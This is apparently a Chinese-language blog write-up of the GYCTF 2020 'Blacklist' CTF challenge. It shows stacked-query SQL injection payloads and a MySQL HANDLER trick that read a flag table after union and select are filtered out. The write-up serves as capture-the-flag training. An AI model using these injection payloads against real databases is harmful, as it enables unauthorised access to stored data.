GYCTF 2020 Blacklist

GYCTF 2020 Blacklist

题目分析

首先看一下题目,很普通的一个查询页面:

GYCTF_2020_Blacklist1

输入2a后返回以下页面,测试后是单引号字符型注入

GYCTF_2020_Blacklist2

常规猜字段,字段数为2

GYCTF_2020_Blacklist3

尝试联合注入1' union select 1,2#,提示被过滤了

GYCTF_2020_Blacklist4

后续尝试报错注入,但过滤了很多东西,没试出结果,不过测试出了show可用,并且堆叠注入也可用

GYCTF_2020_Blacklist5

查表1';show tables;

GYCTF_2020_Blacklist6

查FlagHere表中的列1';show columns from FlagHere;

GYCTF_2020_Blacklist7

思路整理

  • select关键字被过滤了无法使用
  • flag所在的表名、列名已知
  • 需要用其他函数或办法代替select查询出数据

Handler语法

背景

  • handler语句,一行一行的浏览一个表中的数据
  • handler语句并不具备select语句的所有功能。
  • mysql专用的语句,并没有包含到SQL标准中。
  • handler语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。

语法

HANDLER table_name OPEN //打开一张表,无返回结果,实际上这里声明了一个名为table_nam的句柄
HANDLER table_name READ FIRST //获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果
HANDLER table_name CLOSE //关闭打开的句柄
HANDLER table_name READ index_name = value //通过索引列指定一个值,可以指定从哪一行开始,通过NEXT继续浏览

Payload

回到本题,所以构造Payload如下:

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;

即可获得flag

GYCTF_2020_Blacklist8

暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇